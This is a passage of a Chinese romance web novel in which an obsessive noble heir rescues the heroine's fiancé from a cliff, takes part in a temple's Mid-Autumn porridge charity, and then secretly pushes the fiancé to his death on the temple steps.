齐拂己亦道:“我会保他们平安。” 云窈抬眼看向齐拂己,四目相对,他缓缓点了点头。继而转身跨出山门,一领路寺僧和齐拂己一道走在最前头。 行了十来步,忽听婉转动听女声急喊:“等等,大公子,等等我!” 众人顿足,齐拂己转身,见云窈和落玉追来,因跑得急,到近前云窈手扶膝盖,躬身微喘:“我还是、还是想和你们一起去,我保证、保证不拖累大家!” 齐拂己在她因喘起伏的身上掠了两眼,转而凝睇面目:“那一起去吧。” 他没有拒绝,本来不忍叫她见着脑浆崩裂,四肢折断,但她执意要来,那就瞧一瞧吧,彻底心死也好。要是待会她被张宗云的死状吓到,他会即刻捂住她的眼,呵护宽慰,想到这齐拂己禁不住余光去窥自己待会要捂云窈眼的手,食指和拇指摩挲两下。 山间昏暗,夜风呼啸,齐拂己腿长,云窈娇小,他一步赶她两步,云窈跑了几脚,尽力与齐拂己持平。 “大公子。”她喊他一声,脑中总是不由自主,一遍又一遍回想方才山门前对视,齐拂己沉稳点头。云窈挺起胸膛,虽然心跳得极快,但她也要学大公子,临危不惧,从容不迫。 前方就是坠崖处,车夫仍守在原地,云窈克服恐惧走到崖边指认:“大公子,车就是从这里翻下去的!” 众僧和齐拂己皆举火把,俯瞰崖下。引路僧同齐拂己商议:“世子,这边是山阳面,底下树多草软,分三条岔路,我们不如也分三队,西南、正南、东南搜寻?” 齐拂己默然感受风向,而后才接话:“就按你说的,我搜东南。” 十余武僧遂往西南、正南,齐拂己则同大安、云窈、落玉往东南下山搜寻。 没有路,要攀岩爬下,齐拂己往下掷出从水月寺带来的麻绳,一抛就只剩下个端头握在手中,只有呼呼风声,没听见绳子落地的声音。 “我先下去。”齐拂己说着将端头转交给大安。 大安抓牢,云窈则朝齐拂己走近一步:“多加小心。” 齐拂己瞧着她蹙锁的眉眼,紧攥的手,他终于等到她为他紧张担忧,不由浮起浅淡笑意。 “好。”齐拂己回应云窈,语气听着平常,其实一股无形蜜随气息淌过喉管,流进心田。 他踩着山石往下降,很快不见身影,云窈屏息下望,专注盯着一点耀动着的,越来越小的火光,她知道那是齐拂己的火把…… “云姑娘,别往前走了,危险。”大安伸手拦,云窈这才惊觉自己一直在往崖边挪步。 她垂首眨眼,后退半步。 接下来,云窈、大安和落玉皆沉默,直到大安手攥的绳子突然开始左右摇摆,云窈旋即翘起唇角,大安更是喜道:“世子落地了!” 他想给世子和云窈制造独处机会,赶紧道:“云姑娘,你们先下吧,我殿后!” 哪知落玉比云窈快一步,抓着麻绳往下爬。 “万事小心。”云窈提醒。 “小姐放心!”落玉手脚麻利,一会不见,大安却在旁想,原来云姑娘人人都关切,非是世子独属,还好世子下去了,不晓得。 落玉过一会也摇绳,云窈便要攀下,大安忙单手递去火把:“云姑娘,这个你拿着,照亮!” “那你呢?”云窈反问,黑漆漆的,待会大安怎么下? 大安也知道难,但为了世子,还是笑道:“我有月亮就够了。” 云窈一笑:“我手劲不够,没法单手爬下的。” 需要用月光照亮的是她自己。 “我下去了。”云窈打过招呼,低头敛笑,盯着崖壁,寻找稳妥的,不会滑动崩裂的间隙踩上去,全程聚精会神,不敢有一丝怠慢。 左边虽然光亮照不到,却能听见潺潺流水声,似有溪涧,她突然灵光一闪:张公子会不会落到水里去了? 专心,专心。 云窈一点点挪下,这对她来说是极大挑战,但也没有磨蹭,因为说好了不耽误大家。 寒夜里出了一身热汗,两掌俱磨红。 渐渐的,云窈俯瞰见齐拂己,亦瞧见落玉招手:“小姐,我们在这!” 云窈一笑,往下,再往下,忽觉腰间一凉,像有条蛇缓缓绕上她腰间,吐着芯子将她完全缠住。 蛇的力道也不是很紧,云窈却瞬起一身鸡皮疙瘩,恍觉自个一辈子都被这蛇禁锢住了,喘不上气。 “蛇!”她终于忍不住尖叫,回头却发现不是蛇怪,而是齐拂己从后搂住她的腰,他的身体向来比旁人凉,她才会产生幻觉。 “小心点。”齐拂己松手,一脸肃然。 “谢谢大公子。”落地时云窈恨不得找个地缝钻进去,太丢人了。 齐拂己攥着麻绳,抿唇不言,看起来像在等大安攀下,实则心里幽幽地想:刚才真想把她直接搂着抱下来啊,她落地那会转身,从面山变成背山,碎发和耳坠都有擦到他面颊,她不知道,他却忍不住想摁住云窈后脑勺,直接、粗蛮地迫她的唇牢牢粘上他的唇。 第26章 第二十六章 吮血 天黑黢黢,其实压根瞧不清,齐拂己却先微微别首,避开云窈视线,方才艰涩滑动喉头。 云窈挪动半步,再见齐拂己侧颜时,他已无甚异样,目光望天,像是沉着冷静关注上方大安。 约莫一刻钟后,大安才落地,齐拂己即刻松绳,交由大安去收,自己则极自然往斜上方走:“我们顺着搜。” 云窈、落玉、大安闻言,都毫不犹豫跟跟随拂己。 齐拂己垂着眼,夜色昏沉,无人察觉他们搜寻的方向已经离开东南,偏向西北。 片刻,云窈驻足,一下就落到众人后。 齐拂己一直在默窥云窈,见其异样,却并未即刻回头。 云窈举着火把,改往右走,她不知道这方向是东南,只是单纯被水声吸引,果然,火把一照,有一条河。 云窈蹲来,手插进冰凉的水里,比她想象中深——倘若张宗云落到水里,生还希望会更大些。 云窈祈盼张宗云好,站起呼唤:“大公子!” 齐拂己心内阴云密布,面上却仍温和,轻言细语,舍不得对云窈说一句重话:“怎么了?” “我想顺着溪水找。”云窈直言,不知道为什么,同样提意见说自个看法,面对张宗云她支支吾吾,犹豫难开口,对齐拂己就敢讲出来。 齐拂己心里一会硬一会软,硬的是对张宗云的决绝杀意,对云窈却软得一塌糊涂,无法动怒,也无法忤逆她。 “好。”他温柔应允,只自个心里难受。 众人遂改道往东南寻,不清楚前方路况,担心野兽荆棘、湍流陷阱,齐拂己三步并做两步越过云窈,重新领头,为她开路。 走着走着,云窈无意间从齐拂已左侧绕到右侧,齐拂己不动声色将右手举的火把转到左手。 走两步,他忍不住嘱咐云窈:“跟紧我。” 云窈点头:“嗯。” 轻轻一声,众人都没什么反应,唯独齐拂己听得缠绵悱恻,想入非非,心痒难耐,他连接吐纳三回,方才平复心绪。 火把照一处亮一处,溪水上泛起幽光。落玉感慨:“这水还挺急。” 云窈闻言步子加快,一顺沿溪水寻找,齐拂己又移回云窈右侧——右边起了峡风,替她完全遮挡住。 云窈很快发现齐拂己换了位置,顿生紧张,也往右凑:“怎么了,那边有动静吗?” 齐拂己难受,他为她,她却为他。 他深吸口气,算了,好歹她这么一挪,离自己更近些了。齐拂己往左平移一掌距离,几与云窈身贴身,还顺着她胳膊上下打量一遭,才作答:“像是有。” 云窈、落玉和大安齐刷刷屏息,齐拂己不禁扫大安一眼。 与此同时骤响一声嘎吱,众人又齐齐寻向发声处——是落玉踩着地上的断枝。 落玉缩肩、吐舌。 大安轻道:“你小心点。” 落玉不好意思低头抬头,陡然瞥见前面凸起一处,即刻遥指:“那里是不是有人?” 云窈和齐拂己最先朝落玉所指方向走去,皆迈大步,齐拂己腿长先到,一见心沉——竟真是张宗云! 此人大难不死,落入溪中,一顺被冲到软草上,身上多处擦伤,人已昏迷。 齐拂己缓缓蹲下,几与张宗云面对面,由上至下,冷眼俯视。 “张公子?”云窈也瞧清容貌,身还未至,已经问起齐拂己,“大公子,张公子怎么样了?” 齐拂己内力深厚,早听见张宗云吐纳,却仍伸二指,假意探张宗云鼻息。 须臾,他收回手,准备通告张宗云亡故,谁知云窈蹲下探鼻息,眨眼间喜道:“还有鼻息!” 张宗云还活着! “救……我家公子……”远处断续传来虚弱呼救声。 “铁头!”云窈和落玉又跑过去查看铁头。 “救公子……” “你都这样了,快别说话了!” 落玉和铁头嘀咕,云窈也在那厢,齐拂己眼神幽暗,抬手并拢五指,举起掌刀:对,就趁这个机会,杀了张宗云! “我们要赶紧回寺里。”云窈踩着草回来,把旁观的大安吓一跳,心虚瞟向齐拂己——世子爷反倒神色自若,掌依旧前探,托住张宗云后背,平静开口:“我来背他吧。” 云窈冲齐拂己狠狠点了下脑袋,尽是感激。 齐拂己侧过脸,不再注视云窈,他单手搂起张宗云,大安愣了下,而后帮忙把张宗云放到齐拂己背上。 张宗云两只胳膊越过齐拂己肩头垂下,脑袋贴着齐拂己脑袋。 旁人不察,独大安觉气氛阴森、讶异,他既怕,却又忍不住好奇,一直盯自家世子看。 齐拂己没有瞥大安,启唇斥的却是大安:“还在这傻愣着做什么?去驮另外一个。” “哦!”大安这才动起来,从落玉手中接过铁头,驮在背上,因为慌张铁头从背上溜下,大安掂了掂,将重将人兜住。 齐拂己扭头看向云窈:“我们寻条山路绕上去吧。” 云窈颔首,眼下的确没法再爬绳。 这附近没有人工开凿的石阶,能寻到的山路是条前人踏出的羊肠小道,和攀崖比算平缓,但同正常行路比较,却太过陡峭。 好几个坡云窈都颇吃力,再往上更陡了,但有树杈,她顺手抓住,借力蹬上。 “嘶——”人是上来了,没想到树枝长有倒刺,云窈抬掌看,无名指被划破渗出血珠。她尚来不及反应,齐拂己就坦然抓起云窈的手,将食指放到口中,含住、吮吸。她整个人僵住,脑内炸开,莫说脸颊耳朵,连胳膊都通红通红。 良久,齐拂己放开她的手,平静告知:“血已经止住了,待会回寺里给你上药。” 云窈晓得自己又想多了,却止不住心乱如麻,呼吸不畅,低垂着脑袋不敢再抬起,到这会她才觉得自己累赘。 齐拂己却泰然自若,无丝毫慌乱,跃动的火光映进他的眸子后都变得清冷、疏离,越来越遥远。 他往上行,每一步都矫健有力,他当然知道破皮流血吮一吮没用,但人总习惯在出血后舔舐伤口,这是原始的兽类本能,那他为什么不能借这个机会舔到云窈的手呢? 方才吸出的血他没有咽入腹中,全含在口里,她的血腥,但也甜,似乎也激发出他的兽性,令齐拂己无比兴奋,双唇紧抿,双齿紧叩,掩盖舌尖在腔内偷偷翻卷、游离,像一只肆意小兽,在云窈留给他的血海中愉悦徜徉、沉溺。 前路再次陡峭,树杈丛生,云窈却不敢再抓,齐拂己淡扫一眼,毫不犹豫抓住云窈的手,虎口钳住她四指,有力一拽,助她登上陡坡。 “谢谢。”云窈低着头没有对视。 “不客气。”齐拂己淡回,他的胳膊和云窈胳膊同时垂下,没有放开,反而指从她指缝间穿过,改为十指紧扣。 之后但凡遇到陡坡,齐拂己都抬手帮着提一提,助力云窈攀登,她心里那些胡思乱想渐渐淡去,大公子是君子啊,她再次想起那个过河的故事,大公子不过是背着她,一次又一次渡过湍急的河…… 她直起背,也敢直视齐拂己了。 齐拂己与她对望一眼,不动声色放慢脚步——让这手牵手的时光再长久些。 一个多时辰后,众人才跃上平日车马上山的大路。 “总算找到正路了!”落玉望着前方平地,边喘气边笑,“接下来就好走了!” 云窈也高兴:“我们快点回寺里。” 她想早点给张宗云和铁头疗伤,也惦记车夫下落,却忘记仍和齐拂己手牵手,亲密无间。 四、五十步后,众人遇着一队武僧——他们寻回车夫。车夫比他的主顾幸运,被一棵老松挂住,只折左臂,武僧已就地接上包扎。 交谈至此,云窈怔了下,后知后觉地想:张宗云的伤口还未做任何处理…… “张公子怎么样了?”车夫还能跑到跟前察看张宗云状况,云窈正要作答,齐拂己背上忽传来轻轻一声吐气,人似虫般微微起伏,蠕动。 “张公子?”云窈激动,他醒了? 她眼前一热,张宗云却瞥低,看向她和齐拂己紧扣的手,分开苍白到没有血色的唇:“窈娘?” 云窈顺张宗云目光看去,面上一热,急忙抽手,齐拂己顿时手中一空,微分的五指仍保持之前牵手的姿势。 须臾、蜷曲五指,收手,一丝笑在脸上一闪而过。 他咽下血水,确保口中无腥味,方才扭头同背上驮的张宗云道:“你醒了就好,快到寺里了。” 他言语面色皆和煦,看起来颇有耐心,张宗云原先盯云窈和齐拂己的深眸变浅,流露出一丝迷茫。 “是大公子救了你。”云窈向张宗云述说崖下相救事,告诉他大公子背了一路。 张宗云迷茫未散,呢喃: “多谢世子。” 齐拂己眼皮颤了下,驮稳他:“救人之危,应该的。” 待到水月寺,齐拂己亲力亲为,将张宗云直送到床上。寺僧围绕下,他亲自为张宗云上金疮药,又诊脉观舌,言有颇重内伤。 齐拂己吩咐寺僧:“我先开附方子,你们去抓药,我在这里给他施针。” 张宗云、铁头乃至云窈闻言,皆不住道谢,僧人们则去研墨铺纸,正忙活着,外头一层层传话进来:“方丈来了!” “方丈来了!” 方丈玄苦近前,先合十施以佛礼,而后抬手抓起张宗云手腕:“阿弥陀佛,老衲瞧瞧。” 有僧旋即多嘴:“咱们方丈是出了名的医坛圣手,药到病除!” 玄苦方丈没有回应那僧,反而笑看向齐拂己,齐拂己与之对视,片刻后,转晲向床上的张宗云,含笑道:“张公子,有玄苦大师在,你大可宽心。 第27章 第二十七章 犯戒 张宗云闻言怔怔看向齐拂己,视线又往左移,对上云窈。她即刻同他颔首——大公子说得对,遵照玄苦大师医嘱,一定能好的! 张宗云盯着云窈,眼珠上下动了下。 自此,张宗云留在水月寺疗伤。 寺僧照拂,来往皆是和尚,云窈虽然留下来,但寄住的是上回住的女客厢房,离张宗云所居之处颇远,她也知礼、避嫌,不乱走动,只在房后竹林活动。 翌日晌午,云窈饭后消食,漫步竹林,忽然听见不远处有脚步声,遂从林间绕出,见一队僧侣,个个皆提中秋的月兔灯,顺潺潺流水走远。 云窈手扶竹上,正边眺边思忖,忽听浑厚男声在身后问:“在看什么?” 她吓一跳,转回身,见齐拂己立在不远处的高坡上,急忙下拜:“大公子。” 齐拂己掀袍,原地坐下,身上即刻沾染泥土,云窈不由又出声:“大公子?” 齐拂己带笑重问:“在看什么?” 云窈垂眸、咬唇,小声:“刚看师父们提灯经过,我在想……寺里也过中秋节吗?” 出家之人不是斩断尘缘,六根清净,再不问红尘俗事吗? 齐拂己不答,另起话题问:“你以前过中秋会做什么?” “我?”云窈没有犹豫,折返朝齐拂己走近半步,她在坡下站,他在坡上坐,刚好持平。清风翠竹,流水环绕,云窈笑道:“我家里通常会去天竺寺拾桂子,吃月官饼,偶尔观钱塘潮。” 齐拂己笑起来,翘高唇角:“钱塘潮不是要到八月十八么?” 他眸中忽现出脉脉流光,云窈看愣,恍觉回到钱塘,碧山成屏,她听见心里哗哗水声,是风万里卷潮来。 “我亲眼见过一回钱塘潮,”齐拂己直视云窈双眼,徐徐道,“很早了,那时才七岁,随圣人下江南。” 云窈连忙垂眼低头:“大公子见多识广。” 半晌,齐拂己才再开口:“寺里当然也过中秋,明日喊你一道。” 云窈又怔了下,才反应过来,他这是回答之前的问题——寺庙里怎么也过中秋? 但是等等,喊她一道去哪?做什么?此话怎讲? 齐拂己却起身冲她笑了笑,就走了。 云窈绣鞋前挪:“大公子?大公子!” 齐拂己却越走越远。 云窈叹口气,他没听见。 看来只能明日再弄清,见机行事了。 远处,齐拂己喉头滑动,未免被云窈拒绝,天知道自己走得有多快,不敢回头。 云窈回去以后,因心里记着事,一宿浅眠,翌日丑时就醒了。 昏睡的落玉被动静吵醒,揉揉眼睛,见云窈正坐桌前,看装束已梳完毕,落玉禁不住再次揉眼:“小姐,你怎么起这么早?” 云窈刚要作答,就听落玉又问:“是因为放心不下张公子吗?” 云窈一下就讲不出口了,生出一股子说不明道不清的惭愧。 她做得不对,垂首无意识摆动。 咚、咚—— 外有访客,轻叩房门。 “谁呀?来了来了——”落玉边说边去开,“怎么大家都起这么早?” 开了门,落玉呆住:“世子?奴婢见过世子!” 齐拂己冲落玉颔首,而后视线越过她肩膀,往屋内看来,同云窈说话:“走吧,一道去用斋膳。” “算了我还是在这——” “不是说好一道去施粥么?”齐拂己打断云窈的拒绝。 “施粥?”云窈反问。 齐拂己面上浮起淡笑,告知云窈,中秋节水月寺都会在山门外施粥。 “佛家中秋皎皎圆月,与俗世团圆不同,是以月亮喻清净圆明,虚妄浮云,中秋的凉风能除虚空一切云翳,中秋的满月是世间大悲光明,朗然照耀,能除诸烦恼,使得清净安乐涅槃。”他顿了顿,“中秋施善是大功德。” 一番话落玉听得云里雾里,云窈却懂了,十五明月能消除人生烦恼与痛苦,觉得圆满。佛无所求,她却是个贪心大功德的人,还是决定去施粥。 但坚持叫上落玉,三人同行。 云窈左手边是齐拂己,右手边跟着落玉,她偷咬了下唇,渐挪到落玉左边,变成落玉走在三人中间。 云窈尚未跨出山门,就见明黄门外三条对门长队一顺蜿蜒下,看不到尾,再走近些,听交谈,才知道粥还没熬好,僧人们正在安抚百姓情绪。有一相熟僧人同齐拂己感慨:“说的是卯时开始,这会就来人了。” 云窈不多言语,伫在齐拂己身后,听大伙你一言我一语,很快得知水月寺每年中秋都会施粥,善款皆由齐拂己捐赠。 “但是难得见世子您中亲自过来寺里,这有三年中秋都不在了吧?” “嗯。” 云窈听着,眨眼。 约莫过了一刻钟,十余僧人抬来三个大木桶,内里满满熬好的白粥,离得尚远已能感受热气。 百姓们一拥而上,瞬间乱了秩序,僧人急止:“阿弥陀佛,排好队排好队,就三条队,别乱了!” 僧人站在凳上,用长杆脑袋大的舀勺,将粥盛进也是脑袋大的海碗里,提醒着急饱肚的人:“烫喉咙,别急着喝啊,阿弥陀佛!” “给。”僧人发斋膳,分给齐拂己,齐拂己又转递给云窈和落玉。云窈拿在手里,是张干巴巴,没洒芝麻的胡饼,她咬一口,比牛蹄筋还难嚼,且无糖盐。 但云窈没有表现出来,反正竭力吃得美滋滋。 齐拂己站在她前面,背着众人,反手递来一张风干肉干。 “夹这好吃点。”他没有看云窈,背对她说。 云窈扫向队伍中的百姓,摇头拒绝:“不了,我就吃饼。” 她看齐拂己收起肉干,自己也没吃。 她还注意到百姓除却白粥,还能每人分到一袋黄豆,她听好几位百姓央求,少盛点粥或者不要粥,能不能多给一袋黄豆? 云窈想来想去,只能想到把豆子泡在粥里吃,仍不解惑,遂等齐拂己得闲,将他拉到角落里,小声询问原由。 齐拂己垂耷眼皮,暗盯她牵自己袖子那只手,现在两两私下,很难不心潮澎湃。 “大公子也不知道么?”因齐拂己良久未答,云窈追问。 齐拂己缓缓收回视线,启唇:“粥放不了多久,但京中干燥,不像你们南方,豆子可以长期存放,所以一般都让多给点豆子,混野菜吃。” 云窈才知道黄豆混野菜的吃法,整个人滞住,渐渐地,她忆起少时同家仆交谈,头回晓得在那些佃户,或者更困难的人家,糙米粗面是珍贵食材,不像她家能顿顿吃到。 等她到国公府,也变成佃农家仆,惊讶地发现还有人能天天吃山珍海味。 她又思忖起方才那张胡饼,没用糖、盐,是因为这两样对许多人来说也极珍贵。 想到这世上许多人正挣扎于苦难,而自己却没有真正受过苦,云窈禁不住生出愧疚和不安。 “怎么了?”齐拂己旋即发现异样,却猜不到,问时声颤。 云窈小声道:“大公子金枝玉叶,却仍知民间疾苦,实属难得。” “我也是前年才知晓。”齐拂己扭头,望向忙忙碌碌施粥的僧侣,“那时我萌生出遁入空门的念头,玄苦大师却说不识人间烟火,如何摈却烟火?不肯收我。这才留意观察。” 结果知了民间疾苦,方丈又说他尘缘未了,未过女色关。 齐拂己幽幽转头看向云窈侧颜,他的确遇见了自己的魔障,待堪破时,是遁入空门?还是留在红尘与她相携一生? 齐拂己发现自己竟不受控地想选后者,心头一阵轻颤。 “大公子为何会信佛?”云窈却问。 齐拂己先止颤,再回酸,才接话:“怎么这样问?” “就是觉得人信佛或者学易,问道,都是家里或者心里遇着了什么事。”她说得比较委婉,一般都是遇到坎坷难关,像她家里,娘亲药石无医,才寄托希望于佛祖。齐拂己生于钟鸣鼎食之家,父母俱全,才学卓绝,身体康健,这样的人也会有烦恼和困难吗? 齐拂己不知云窈所想,促眸:“因为之前觉得这俗世……”他嚅唇,噙笑,“没什么意思。” 云窈心底不自禁冷呵一声。 她突然觉得这和何不食肉糜有何区别?头回对齐拂己生出厌恶情绪。 但到底理智,须臾便压下,待他还是和颜悦色。 齐拂己回去施粥,她在旁帮忙分黄豆,排近前一老翁,兴许不是老翁,只是风吹日晒,脸色黄黑,道道褶皱:“世子,好几年没瞧见着您了!” “最近中秋都没来。”齐拂己递给老翁一碗粥,云窈忙也分他一袋豆子。 老翁领了粥和豆,让到一边继续攀谈,齐拂己一边答话,一边给后面的人舀粥。云窈听了会,得知老翁是流民,这队伍里许多人都是,听他们言语,年年都来领物资,一直没安顿下来。 云窈默默数人头,两只手都不够用……又来一流民,亦和齐拂己旧识,他拿粥拿豆前一定坚持要交给寺院一捆柴火,推辞几番,齐拂己命云窈收下。 待那流民走后,云窈禁不住问:“大公子——” 齐拂己转头看向云窈。 “我……”她咬唇,“有句话不知当讲不当讲。” 齐拂己讳莫如深:“说。” 都当讲。 “我听方才那位大叔说,至今风餐露宿,这一年年的,水月寺为什么不开辟些山房收容他们?聘他们耕地、烧火之类,授人以鱼不如授人以渔,年年施粥解决不了他们的困境。” “他刚捐了柴。”齐拂己回道,“这柴是很难拾的。” 云窈点头:“山上荆棘多,的确辛苦。” 不是说这,齐拂己不再言语,她在南方,不晓得如今圣人颁有北地的《民法》、《田令》,既为流民,一辈子不能享有耕地,也不能被雇佣,至于这座山,除却官府登记在册的水月寺,余下皆为王土,柴生王土之上,便也属于圣人…… 圣人如此施令,自有渊源,恐怕不会再改变心意,要想改变这些流民现状,唯有…… 齐拂己愈发沉吟,待再抬头,是因为云窈拇指和食指捏着,扯了下他的袖子。 她压低声道:“玄苦大师好像想找你。” 齐拂己先瞥云窈二指和袖角,而后才抬头侧望,玄苦大师正身披袈裟,双掌合十,冲他微笑。 齐拂己将舀勺交给一高个寺僧,独自走向玄苦。 玄苦低头:“世子。” 齐拂己颔首:“方丈。” 玄苦抬手,示意齐拂己边走边说,二人并排跨进山门,玄苦微笑:“世子如今让烟火绕了一圈身。” “那我还离佛门极远吗?”齐拂己负手反问。 玄苦回身一望:“世子仍想入佛门?” 齐拂己随他走,却没有再回答。 玄苦摸了摸自己光秃秃的脑袋:“其实佛不在这寺里,也不在这脑袋上。” “而在人心?” 玄苦一笑,世子都明白:“老衲记得曾同世子说过,一念嗔心起,八方障门开,一念慈心起,万朵莲花开。”他顿了顿,敛笑,“大智慧源于慈悲心。” 良久,齐拂己凝视玄苦,两瓣唇分合:“多谢方丈教诲,我去拜一会佛。” 玄苦笑着点点头。齐拂己便负手去往大雄宝殿,撩袍磕头三拜,而后直挺着背,端跪在蒲团上。 半晌,他起身,屈膝变直,冉步徐行向张宗云下榻处。 寺僧叫张宗云多活动,好得快,不要总躺床上,他听了令,这会正拄拐练习行走,走着走着,就往山上竹林,女客厢房行去。 齐拂己暗自尾随,听那陪着张宗云,叫铁头的长随打趣:“公子是不是想去见云姑娘?” 又窥视张宗云拿拐杖打铁头:“去去去!” 齐拂己始终不现身,反倒越来越谨慎地隐匿动静。 直到铁头临时被人喊走,唯余张宗云一人,齐拂己才绕到张宗云前面,踏下出声一步。 张宗云抬头:“世子?” 他觉得奇怪,世子打哪来的?怎么突然出现? 齐拂己微点下巴,俨若偶遇。 张宗云立在原地,原先打算等齐拂己走过来,但须臾就改变主意,一瘸一拐,主动朝齐拂己走去,近前笑道:“多谢世子一次又一次救我性命。” 齐拂己低头扫向地上石子:“张公子,你我萍水相逢,不必言谢。”他往左侧走,那边坡最陡,好在修了百来级台阶,方便攀登。 但对于张宗云来说还是太难了,他不好开口,拄着拐,陪齐拂己登。 因为吃力,张宗云身上发热,汗渍伤口如撒盐,疼痛刺骨,又因接下来二、三十级台阶,齐拂己皆未再开口,张宗云不禁燥热,想起之前在大理寺受得苦,暗怨王侯将相,人分九等,自己偏偏运气那么差。 若说自己没生一个好八字,便没有顺遂一生,他不甘心。 “何况我也有所求要拜托张公子。”齐拂己突然开口。 张宗云扶杖定住,面浮懵懂。 齐拂己亦停步,转身看向张宗云,一脸坦然:“实不相瞒,我思慕窈娘已久,不知张公子能否割爱?” “只要张公子愿意割爱,什么要求愿望,我都可以举国公府之力,满足张公子。” 只一霎,张宗云面上的茫然色就全变作游疑。 齐拂己静静看着他,眼前这个男人,云窈名义上的未婚夫,正在权衡她和功名利禄、荣华富贵的份量。 “那……”张宗云启齿,搓手,魏国公门生众多,百官近半,那他可不可以也投到……张宗云忽然灵光一闪,仰头紧紧盯着齐拂己:“是你——” 他面色惨白,整个人开始发抖,是齐拂己陷害他,污蔑反诗!是齐世子夺走了他的一切! 张宗云渐渐平息震颤,十年苦读,一朝作废,青云再难攀,他盯着齐拂己,凭什么齐拂己同他讲条件?他有齐世子的把柄,有怨恨,应该他同世子讲…… 张宗云勾了下右唇角:“依在下之见——” 陡然被打断,“见”字音极弱,因为齐拂己果决抬手,将张宗云推下山坡。齐拂己运了十层内力,其疾如风,张宗云在阶上翻滚如浪,一连串磕碰声,甚至来不及呼救,就滚到底,后脑勺着地。 齐拂己徐徐走下,看张宗云睁着一双圆眼,脑袋周围迅速弥漫开一滩血水并些许脑浆,仿若荡开的涟漪。齐拂己躬身伸指,探鼻息,这回是真的无了。 他就知道,人不能动恻隐之心,张宗云只有死了,才会销掉婚书上的姓名。这种人他从小到大常见常厌,这红尘俗世,真的除了云窈,都好生无趣。 齐拂己懒得帮张宗云闭眼就直起身,再看一滩血水,奔腾流向八方,已不成圆,那就不像涟漪了,他想,像迸绽的牡丹,但是不够好看。齐拂己蹙眉,像这种非上品的花绝不适合簪在云窈鬓间。 第28章 第二十八章 渎佛 齐拂己动手之前就已确定周遭无人,因此心无所惧,从容折返山门。 云窈还在帮着僧人们一起发黄豆:“豆子快发完了。” “还有呢,贫僧去库房取。” 齐拂己就在这时走近,在云窈身侧出声:“但凡他们要,都有。” 云窈看他一眼,笑笑,大公子心肠真好。 “大公子,今日怎么没见大安?”她边发边问。 “过节,他回府了。”齐拂己接替去取黄豆的僧人,重新开始分粥,“一来让他给我爹娘报个平安,二来他也能回家团聚。” 云窈手顿:“大安家在京中?” “他爹就是吕管家,娘是我母亲跟前的薛婶子。” 原来是家生子,云窈默然不语,山门后忽然蹦出三个和尚,风风火火兼慌张:“不好了不好了,后山出事了!” 女客的厢房就在后山,云窈心立揪。 “张公子、张公子他从阶上摔下来了!” “什么?”她紧着嗓子问出声,放下手里的黄豆袋往庙里跑。落玉追上狂奔,一直念叨“怎么回事呀?出了什么事”? 齐拂己默咽一口,方才出声:“云姑娘——” 他大步赶上,在云窈身侧道:“你莫要慌,应该没事的。” 云窈看向齐拂己,一眼里饱含信任感激,却也有几丝难以劝慰的担忧。 云窈尚在远处,就见一群僧人围在台阶下,或蹲或站,唯一人平躺,而那躺着的人脚边还跪着个痛哭的人,像是铁头。 云窈顿觉呼吸不畅。 “那是不是铁头?”落玉眯眼。 话音尚未落地,云窈已朝前奔去,齐拂己瞥她提裙的动作,扫那双露出的绣鞋,心中大不快,却又不想和死人计较。 他亦快步赶上。 其实地上血水寺僧已经清洗,张宗云遗容也有整理,没摔下来时那么可怕。云窈却还是看得一惊,颤声发问:“怎么回事?” 发生了什么? 铁头正嚎啕着,闻言止啼,泪眼望来——云窈、落玉、齐拂己、寺僧……乌泱泱来人,他一个接一个打量,忽然重嚎起来:“我也不知道,师父们劝我家公子不要总躺床上,公子就来这里走动,我陪着,中途公子渴了,我回去拿水,再回来就见公子站不稳摔下来了,这里之前全是血……” 寺僧们闻言皆合十:“阿弥陀佛,施主节哀。” 云窈浑身冰冷,接着半边身子发麻不能动弹,眼前昏黑,往后栽倒。 “窈娘——”齐拂己倾身接住,锦袍轻扬。他心头闪过一霎悔意,旋即消散。他不悔,唯一懊恼推张宗云的手没未曾擦拭,以至于现在为了不让云窈沾染别的男人气息,手不能触碰,只能用胳膊兜住她。 想到这齐拂己嘴角几不可察地轻撇了下,搀扶云窈转身,却发现两僧人领玄苦走近。 “来了来了,方丈来了!” 途中,玄苦和齐拂己视线交汇,对上,半晌皆不移目。 齐拂己分唇:“方丈。”继而面色平和瞥向云窈,“我先送她回房。” 玄苦点头。 下一刹齐拂己将云窈打横抱起,落玉惊呼:“小姐!” 众人也纷纷望来,齐拂己却仍抱云窈,不紧不慢离去。 与玄苦擦肩而过,玄苦继续前行,在张宗云的尸首前蹲下。 “方丈,您瞧瞧。” “方丈。” 众僧围着玄苦七嘴八舌。 * 云窈做了一个很黑的梦,人立在水月寺上山的石阶上——她打算回厢房的,怎么到这里来? 周遭无灯,亦无月光照亮,后头却有两团黑影追逐,云窈急忙往上跑,能听见自己的喘气声。 再往前,因着急,跌了一跤,被黑影们赶上。云窈绝望正要闭眼,却听黑影们喊:“琴琴。” 云窈回头,瞧见两团黑影露出爹娘的脸,两人都变得非常年轻:“琴琴,是爹娘啊。” 云窈稳住心神,瞅底下的台阶望不到底,深渊一般,不由心悸抚胸口:“张公子就是从这里跌下去的。” 明明因为张宗云才昏过去,她却没有梦到他。不仅如此,娘亲还对着云窈露齿一笑:“哪个张公子呀?” 云窈心滞,猛吸一大口气,醒来。 “小姐醒了!” 云窈听见的是落玉的声音,也晓得她在旁边,却不由自主朝前望去,对上齐拂己目光。他坐在床边的一张圆凳上,微微分腿,似乎一直在俯身注视。 月亮透窗投射地面,没有照到床上,云窈却恍觉面上有光亮,他的目光好像月光一样,皎皎流光。 二人无言凝视良久,谁也没有挪开眼。 齐拂己启唇:“你醒了。” 这话落玉早就讲过。 云窈点头,手撑着要坐起,落玉赶紧去扶自家小姐,想了想,道:“世子一直守在这里。” 齐拂己却侧身去拿几上用小炉温的一碗汤药:“你心气逆乱受损,神无所归,所以陷入昏迷。”他单手就能抓起碗,直送到云窈面前,“先喝这碗药,治惊安神。” “张叔如何了?”云窈问, 张叔? 哦,是张宗云所乘那辆车的车主。 她现在还记挂着马夫?齐拂己促眸,他不介意,除了张宗云,他没想过要他人性命,包括那名张宗云的长随——那人很上道,一口咬定张宗云是自己跌下去的。 “他在寺里养伤,还不知道张宗云的事。”齐拂己回答云窈。 云窈手抓被子:“先别讲,让他好好养伤。” 齐拂己点头:“你也一样,好生修养,过悲则伤肺,肺伤则气消——”他唇张着,话却陡然止住,本来还有半句“总不至于想随张宗云去吧”,却忽生一阵惶恐心悸。 “还是先喝药吧,”齐拂己重递药,“里头没什么,主要是酸枣仁。” 